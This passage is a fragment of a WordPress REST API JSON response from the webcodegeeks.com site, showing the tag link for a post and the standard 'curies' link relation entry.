taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.webcodegeeks.com\/wp-json\/wp\/v2\/tags?post=14372"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}